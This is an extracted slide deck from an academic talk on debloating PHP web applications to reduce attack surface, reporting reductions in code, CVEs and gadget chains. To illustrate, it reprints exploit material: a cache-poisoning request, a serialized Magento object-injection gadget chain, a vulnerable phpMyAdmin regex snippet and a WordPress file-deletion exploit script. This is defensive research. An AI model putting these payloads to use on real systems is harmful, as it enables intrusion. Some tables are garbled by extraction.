Less is More
Web application attack surface reduction through software debloating

Babak Amin Azad
Stony Brook University
What is software debloating?

“Reducing the **attack surface** by removing pieces of code that are not required by users.”
You’re vulnerable, but do you have to be?

Web Cache Poisoning vulnerability on Drupal

```
GET /education?x=y HTTP/1.1
Host: store.unity.com
X-Original-URL: /gambling?x=y
```

Unused and keyed

Unused and unkeyed

Used and keyed

Unused and unkeyed

X-Original-URL
X-Rewrite-URL
Arbitrary file delete on WordPress
CVE-2018-20714
Less is More: Web application attack surface reduction through software debloating

CVE-2018-20714

Login as author  Create a post  Set thumbnail image

Update thumbnail

Installation mode
Remote Code Execution on Magento
CVE-2016-4010
PHP Object Injection (POI) attacks

- Unsafe object deserialization vulnerability is the target of this exploit.
- Attacker can control value of properties on injected objects.
  (Also known as Property Oriented Programming, POP)
- But the attacker cannot control execution of functions.
- The chain is made based on magic functions.
- The chain usually ends with a write to file system or a database transaction.

Magic functions:
- `__construct()`
- `__toString()`
- `__destruct()`
- `__wakeup()`
...
Exploiting object injection on Magento

```php
class Example1
{
    public $cache_file;

    function __construct()
    {
        // some PHP code...
    }

    function __destruct()
    {
        $file = "/var/www/cache/tmp/{$this->cache_file}";
        if (file_exists($file)) @unlink($file);
    }
}
```

O:8:"Example1":1:{s:10:"cache_file";s:15:"../index.php";}

serialize

deserialize
Exploit gadget chain step 1: Redis client file

```php
/*
 * Called automatically when the object is destroyed.
 */
public function __destruct()
{
    if ($this->closeOnDestruct) {
        $this->close();
    }
}

/*
 * Closes the redis stream.
 */
public function close()
{
    if ($this->connected && ! $this->persistent) {
        ...
        $result = $this->redis->close();
    }
}

// Redis_Client::__destruct(), close()
```
Exploit gadget chain step 2: Payment Transaction class

```php
/** *
 * Close this transaction
 */
public function close($shouldSave = true) {
    if ($shouldSave) {
        $this->save();
    }
    // ...
}

/** *
 * Save object data
 */
public function save() {
    $this->getResource()->save($this);
    return $this;
}
```

From `close()` to `save()` (destruct -> close -> save)

// `_getResource()` returns `_resource` property
Exploit gadget chain step 3: Cache File class

```php
/**
 * Try destruct->close->save() to arbitrary file write (Write custom PHP file = RCE)
 */

public function save()
{
    ...
    // save stats
    file_put_contents($this->getStatFileName(), $this->getComponents());
    ...
    // Magento\Framework\Simplexml\Config\Cache\File::save()
```
Final exploit gadget chain

```php
O:13:"Credis_Client":22:{s:8:"*redis";O:45:"Magento_Sales_Model_Order_Payment_Transaction":40:{s:9:"*_order";N;s:21:"*_parentTransaction";N;s:12:"*_children";N;s:22:"*_identifiedChildren";N;s:27:"*_transactionsAutoLinking";b:1;s:12:"*_hasChild";N;s:15:"*_eventPrefix";s:31:"sales_order_payment_transaction";s:15:"*_eventObject";s:25:"order_payment_transaction";s:18:"*_orderWebsiteId";N;s:16:"*_orderFactory";N;s:15:"*_dateFactory";N;s:22:"*_transactionFactory";N;s:25:"_orderPaymentRepository";N;s:18:"*orderRepository";N;s:29:"*extensionAttributesFactory";N;s:22:"*extensionAttributes";N;s:25:"*customAttributeFactory";N;s:24:"*customAttributesCodes";N;s:26:"*customAttributesChanged";b:0;s:15:"*_idFieldName";s:2:"id";s:18:"*_hasDataChanges";b:0;s:12:"*_origData";N;s:13:"*_isDeleted";b:0;s:12:"*_resource";O:32:"Magento_Framework_DB_Transaction":3:{s:11:"*_objects";a:0:{};s:18:"*_objectsByAlias";a:0:{};s:25:"*_beforeCommitCallbacks";a:1:{i:0:"phpinfo";}};s:2:"*_resourceCollection";N;s:16:"*_resourceName";N;s:18:"*_collectionName";N;s:12:"*_cacheTag";b:0;s:19:"*_dataSaveAllowed";b:1;s:15:"*_isObjectNew";N;s:23:"*_validatorBeforeSave";N;s:16:"*_EventManager";N;s:16:"*_cacheManager";N;s:12:"*_registry";N;s:10:"*_logger";N;s:12:"*_appState";N;s:19:"*_actionValidator";N;s:13:"*storedData";a:0:{};s:8:"*_data";a:0:{};s:13:"*_redisMulti";N;s:7:"*host";N;s:7:"*port";N;s:10:"*timeout";N;s:14:"*readTimeout";N;s:13:"*persistent";N;s:18:"*closeOnDestruct";b:1;s:12:"*_connected";b:1;s:13:"*_standalone";N;s:20:"*_maxConnectRetries";i:0;s:18:"*_connectFailures";i:0;s:14:"*_usePipeline";b:0;s:15:"*_commandNames";N;s:11:"*_commands";N;s:10:"*_isMulti";b:0;s:13:"*_isWatching";b:0;s:15:"*_authPassword";N;s:13:"*_selectedDb";i:0;s:17:"*_wrapperMethods";a:3:{s:6:"delete";s:3:"del";s:7:"getkeys";s:4:"keys";s:7:"sremove";s:4:"srem";}};s:18:"*renamedCommands";N;s:11:"*_requests";i:0;}
```
Remote Code Execution on phpMyAdmin
CVE-2016-5734
phpMyAdmin “Regex find and replace”
preg_replace code execution using null byte injection

```php
private function __getRegexReplaceRows(
...
727: if (is_array($result)) {
728:     foreach ($result as $index=>$row) {
729:         $result[$index][1] = preg_replace(  
730:             "/" . $find . "/",  
731:             $replaceWith,  
732:             $row[0]
733:         );
734:     }
735: }
```

/e modifier: Do the substitution and execute as PHP code
Notice a pattern?

- IIS Support in Zend Framework
- Edit thumbnail of a post
- Use of Redis client in gadget chain
- Regex find and replace in rows
Dead Code Removal

Reduce available gadgets used in ROP exploit chains.
Given an application that exhibits a property “P”, search for a minimized program that still exhibits “P”.

Delta Debugging

Reduce the program while satisfying a set of conditions.
Property “P” is to print “Hello World”

```c
int main() {
    if (a) {
        printf("%d\n", a);
        printf("Hello_\n");
        printf("world!\n");
        printf("End\n");
    }
    return 0;
}
```

(a) Original.

```c
int main() {
    int a = 1;
    printf("%d\n", a);
    printf("Hello_\n");
    printf("world!\n");
    printf("End\n");
    return 0;
}
```

(b) Perses: first success.

```c
int main() {
    int a = 1;
    printf("%d\n", a);
    printf("Hello_\n");
    printf("world!\n");
    printf("End\n");
    return 0;
}
```

(c) Perses: second success.

```c
int main() {
    int a = 1;
    printf("%d\n", a);
    printf("Hello_\n");
    printf("world!\n");
    return 0;
}
```

(d) Perses: final result.

Perses: Syntax-Guided Program Reduction
Proceedings of the 40th International Conference on Software Engineering, ACM ICSE 2018
Chisel: Using reinforcement learning for debloating

- Debloat tar
- Original tar has 97 switches
- Busybox version of tar has 8
- Use fuzzing to detect new vulnerabilities after debloating.
- Create a new test with fuzzing parameters to prevent addition of that vulnerability and rerun the debloating.

```bash
#!/bin/bash

function compile {
  clang --o tar.debloat.tar-1.14.c
  return $?
}

function core {
  # test 1: archiving multiple files
  touch foo bar
  .tar.debloat df foo.tar foo bar
  rm foo bar
  .tar.debloat xf foo.tar
  test -f foo -a -f bar || exit 1

  # test 2: extracting from stdin
  touch foo
  .tar.debloat df foo.tar foo
  rm foo
cat foo.tar | .tar.debloat x
test -f foo || exit 1
  ... #12 more tests that exercise the 8 target options
  return 0
}

function non_core {
  for test_script in ./is_tests/*.sh; do 
    # for all optional test cases
    sh -x -e $test_script; >> & log
    grep 'Segmentation fault' log & exit 1
  done

  return 0
}

compile || exit 1
core || exit 1
non_core || exit 1
```
3 API Specialization

Only allow certain values to be passed to sensitive APIs
Feature Removal Based on Usage Profiles

Remove code that is not dead, but is not necessary for a subset of users.
Debloating Pipeline

1. Vulnerability to Code Mapping
2. Application Profiling By Usage Simulation
3. Record Code Coverage
4. Analyze Unused Files / Functions
5. Debloating Logic
6. Rerun Tests to Verify Correctness
7. Test Against Known Exploits
8. Analyze The Results

Less is More: Web application attack surface reduction through software debloating
Debloating Pipeline

Analyzed Applications

- Magento
- MediaWiki
- phpMyAdmin
- WordPress
Identifying important features of an application

- Find tutorials for these applications
- Automate them using Selenium

Example of tasks covered by tutorials

1. Login
2. Create a database
3. Create tables
4. Run queries
5. Drop database
6. ...

What’s not covered by tutorials

1. Some pages on the front of the application
2. Error handlers
Expanding the breadth of code coverage

Monkey Testing

Spider

Vulnerability Scanner
Less is More: Web application attack surface reduction through software debloating
Expanding the breadth of code coverage

Monkey Testing

Spider

Vulnerability Scanner
Files covered by each testing tool

(a) phpMyAdmin 4.7.0
(b) MediaWiki 1.28.0
(c) Magento 2.0.5
(d) WordPress 4.7.1
File & Function level debloating

- Remove the contents of unused files/functions
- Use place holders
  - Log information about execution of removed code
  - Stop the execution flow to prevent entering an unknown state
What’s a good metric to measure the effectiveness of debloating?
## Logical Lines of Code (LLOC)

```c
for (i = 0; i < 100; i++) printf("hello"); /* How many lines of code is this? */
```

<table>
<thead>
<tr>
<th>LOC</th>
<th>Logical LOC</th>
<th>Comment Lines</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2 (for stmt, printf stmt)</td>
<td>1</td>
</tr>
</tbody>
</table>

```c
/* Now how many lines of code is this? */
for (i = 0; i < 100; i++)
{
    printf("hello");
}
```

<table>
<thead>
<tr>
<th>LOC</th>
<th>Logical LOC</th>
<th>Comment Lines</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>2 (for stmt, printf stmt)</td>
<td>1</td>
</tr>
</tbody>
</table>
Results #1: Reduction of LLOC after debloating

File Debloating
- Average 33% reduction
- WordPress: 9%
- Magento: 65%
  (400 KLLOC)

Function Debloating
- Average 47% reduction (+14%)
- WordPress: 31% (+22%)
- Magento 71% (+6%)
Results #2: Reduction of Cyclomatic Complexity

**File Debloating**
- Average of 32.5% reduction
- WordPress: 6%
- Magento: 74.3%

**Function Debloating**
- Average 50.3% reduction (+18%)
- WordPress: 24% (+18%)
- Magento 80.2% (+6%)
Coverage of CVEs based on usage profiles

<table>
<thead>
<tr>
<th>ID</th>
<th>CVE</th>
<th>Software</th>
<th>Version</th>
<th>File Name</th>
<th>Triggered</th>
</tr>
</thead>
<tbody>
<tr>
<td>64</td>
<td>CVE-2014-8959</td>
<td>phpMyAdmin</td>
<td>4.0.0</td>
<td>libraries/gis/pma_gis_factory.php</td>
<td>✗</td>
</tr>
<tr>
<td>63</td>
<td>CVE-2013-3240</td>
<td>phpMyAdmin</td>
<td>4.0.0</td>
<td>libraries/plugin_interface.lib.php</td>
<td>✓</td>
</tr>
<tr>
<td>24</td>
<td>CVE-2016-6619</td>
<td>phpMyAdmin</td>
<td>4.0.0</td>
<td>libraries/Table.class.php</td>
<td>✓</td>
</tr>
<tr>
<td>22</td>
<td>CVE-2016-6609</td>
<td>phpMyAdmin</td>
<td>4.0.0</td>
<td>libraries/plugins/export/ExportPhparray.class.php</td>
<td>✓</td>
</tr>
<tr>
<td>21</td>
<td>CVE-2016-9866</td>
<td>phpMyAdmin</td>
<td>4.0.0</td>
<td>prefs_manage.php</td>
<td>✗</td>
</tr>
</tbody>
</table>
## Results #3: Reduction of CVEs

<table>
<thead>
<tr>
<th>Application</th>
<th>Strategy</th>
<th>Total Removed CVEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>phpMyAdmin</td>
<td>File Debloating</td>
<td>4/20</td>
</tr>
<tr>
<td></td>
<td>Function Debloating</td>
<td>12/20</td>
</tr>
<tr>
<td>MediaWiki</td>
<td>File Debloating</td>
<td>8/21</td>
</tr>
<tr>
<td></td>
<td>Function Debloating</td>
<td>10/21</td>
</tr>
<tr>
<td>WordPress</td>
<td>File Debloating</td>
<td>0/20</td>
</tr>
<tr>
<td></td>
<td>Function Debloating</td>
<td>2/20</td>
</tr>
<tr>
<td>Magento</td>
<td>File Debloating</td>
<td>1/8</td>
</tr>
<tr>
<td></td>
<td>Function Debloating</td>
<td>3/8</td>
</tr>
</tbody>
</table>
Types of vulnerabilities removed by debloating

- **Crypto** and **cookie** related vulnerabilities usually can’t be removed by debloating.
- **CSRF** vulnerabilities are only removed when the underlying feature is removed.
- **Code execution** vulnerabilities can either be removed or broken by removing the POI gadgets.
## Effect of external dependencies on code bloat

<table>
<thead>
<tr>
<th>Application</th>
<th>Before deboating</th>
<th>After function-level deboating</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>LLOC in main App</td>
<td>LLOC in packages</td>
</tr>
<tr>
<td></td>
<td>LLOC in packages</td>
<td></td>
</tr>
<tr>
<td>phpMyAdmin 4.7.0</td>
<td>36k</td>
<td>26k (−26.2 %)</td>
</tr>
<tr>
<td></td>
<td>82k</td>
<td>10k (−88.3 %)</td>
</tr>
<tr>
<td>MediaWiki 1.28.0</td>
<td>133k</td>
<td>54k (−58.8%)</td>
</tr>
<tr>
<td></td>
<td>51k</td>
<td>6k (−87.7 %)</td>
</tr>
<tr>
<td>Magento 2.0.5</td>
<td>396k</td>
<td>182k (−54.2 %)</td>
</tr>
<tr>
<td></td>
<td>213k</td>
<td>34k (−84.0 %)</td>
</tr>
</tbody>
</table>
### Statistics about removed external packages

<table>
<thead>
<tr>
<th>Application</th>
<th>Before debloating</th>
<th>After function-level debloating</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td># Packages</td>
<td># packages</td>
</tr>
<tr>
<td></td>
<td></td>
<td># packages with &lt; 30 % of lines</td>
</tr>
<tr>
<td>phpMyAdmin 4.7.0</td>
<td>45</td>
<td>38 (84 %)</td>
</tr>
<tr>
<td>MediaWiki 1.28.0</td>
<td>40</td>
<td>24 (60 %)</td>
</tr>
<tr>
<td>Magento 2.0.5</td>
<td>71</td>
<td>58 (82 %)</td>
</tr>
</tbody>
</table>

But if a package is never used, does it contribute to the attack surface?
## Results #4: Reduction of object injection gadgets

<table>
<thead>
<tr>
<th>Application</th>
<th>Package</th>
<th>Removed by Debloating</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>File</td>
</tr>
<tr>
<td><strong>phpMyAdmin 4.7.0</strong></td>
<td>Doctrine</td>
<td>✔</td>
</tr>
<tr>
<td></td>
<td>Guzzle</td>
<td>✔</td>
</tr>
<tr>
<td><strong>MediaWiki 1.28.0</strong></td>
<td>Monolog</td>
<td>✔</td>
</tr>
<tr>
<td><strong>Magento 2.0.5</strong></td>
<td>Doctrine</td>
<td>✔</td>
</tr>
<tr>
<td></td>
<td>Monolog</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>Zendframework</td>
<td>✗</td>
</tr>
</tbody>
</table>
Testing with real exploits
Finding real exploits
Finding real exploits

new XMLHttpRequest()

console[_0x6111[0]]
Finding real exploits

```javascript
function setThumbToConfig(post_id) {
    console['log'](post_id);
    console['log'](document.getElementById('_wpnonce').value);
    var base_url = "action=editattachment&thumb=./test.php&_wpnonce=" + document.getElementById('_wpnonce').value;
    var ajax_req = new XMLHttpRequest();

    console['log']("Thumb was set to ../../../wp-config.php");
    ajax_req['open']('POST', '/WordPress-3.9/wp-admin/post.php?post=' + post_id, true);
    ajax_req['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    ajax_req['send'](base_url);
}
```
Breaking exploits as a result of debloating

<table>
<thead>
<tr>
<th>CVE</th>
<th>Target Software</th>
<th>Exploit Successful?</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Original</td>
</tr>
<tr>
<td>CVE-2013-3238</td>
<td>phpMyAdmin 4.0.0</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2016-5734</td>
<td>phpMyAdmin 4.4.0</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2014-1610</td>
<td>MediaWiki 1.21.1</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2017-0362</td>
<td>MediaWiki 1.28.0</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2018-5301</td>
<td>WordPress 3.9</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2015-5731</td>
<td>WordPress 4.2.3</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2016-4010</td>
<td>Magento 2.0.5</td>
<td>✅</td>
</tr>
<tr>
<td>CVE-2018-5301</td>
<td>Magento 2.0.5</td>
<td>✅</td>
</tr>
</tbody>
</table>
Source code and artifacts are publicly available

- Debloating pipeline to evaluate and debloat custom applications
- Debloated web applications
- Source code coverage information
- CVE to source code mappings & Exploits

https://debloating.com

Quantifying the Security Benefits of Debloating Web Applications
Conclusion

- Debloating can reduce web applications attack surface significantly
  - Up to 71% reduction in LLOC
  - Up to 60% reduction in CVEs
  - Up to 100% removal of POI Gadgets
- Web vulnerabilities & their exploitation is different, as a result web debloating is different (Targeting actual vulnerabilities rather than dead code)
- We also need to focus on usability and performance of debloating schemes
- Artifacts and debloated applications are available at: https://debloating.com
Want to chat further?

Contact me at: baminazad@cs.stonybrook.edu
Less is More: Web application attack surface reduction through software debloating
Results #5: Reduction in sensitive function calls

<table>
<thead>
<tr>
<th>Application</th>
<th>Command Execution</th>
<th>PHP Execution</th>
<th>Callbacks</th>
<th>Information Disclosure</th>
<th>Filesystem</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>WordPress</td>
<td>50 14 (72%▼)</td>
<td>3156 2495 (20%▼)</td>
<td>4678 4032 (14%▼)</td>
<td>107 68 (36%▼)</td>
<td>3132 1666 (47%▼)</td>
<td>1587 1238 (22%▼)</td>
</tr>
<tr>
<td>Magento</td>
<td>171 0 (100%▼)</td>
<td>776 100 (87%▼)</td>
<td>1805 244 (86%▼)</td>
<td>264 6 (98%▼)</td>
<td>2899 153 (95%▼)</td>
<td>737 61 (92%▼)</td>
</tr>
<tr>
<td>MediaWiki</td>
<td>115 23 (80%▼)</td>
<td>1802 639 (65%▼)</td>
<td>2792 952 (66%▼)</td>
<td>185 36 (81%▼)</td>
<td>1779 298 (83%▼)</td>
<td>1212 443 (63%▼)</td>
</tr>
<tr>
<td>phpMyAdmin</td>
<td>76 0 (100%▼)</td>
<td>976 242 (75%▼)</td>
<td>970 182 (81%▼)</td>
<td>133 16 (88%▼)</td>
<td>1304 253 (81%▼)</td>
<td>892 314 (65%▼)</td>
</tr>
</tbody>
</table>
Performance overhead of recording code coverage

<table>
<thead>
<tr>
<th>Application</th>
<th>Execution (s)</th>
<th>CPU (%)</th>
<th>Memory (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Magento 2.0.5</td>
<td>317</td>
<td>21.7</td>
<td>10.7</td>
</tr>
<tr>
<td></td>
<td>With XDebug</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>584 (x1.85)</td>
<td>56.9 (x2.62)</td>
<td>11.82 (x1.10)</td>
</tr>
<tr>
<td></td>
<td>With CC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MediaWiki 1.2.8</td>
<td>36</td>
<td>30.7</td>
<td>5.2</td>
</tr>
<tr>
<td></td>
<td>With XDebug</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>121 (x3.38)</td>
<td>79.3 (x2.58)</td>
<td>6.9 (x1.31)</td>
</tr>
<tr>
<td></td>
<td>With CC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>phpMyAdmin 4.7.0</td>
<td>102</td>
<td>3.7</td>
<td>5.7</td>
</tr>
<tr>
<td></td>
<td>With XDebug</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>116 (x1.14)</td>
<td>31.5 (x8.47)</td>
<td>5.6 (x0.97)</td>
</tr>
<tr>
<td></td>
<td>With CC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WordPress 4.7.1</td>
<td>68</td>
<td>8.2</td>
<td>8.2</td>
</tr>
<tr>
<td></td>
<td>Without XDebug</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>170 (x2.50)</td>
<td>42.6 (x5.22)</td>
<td>12.5 (x1.53)</td>
</tr>
</tbody>
</table>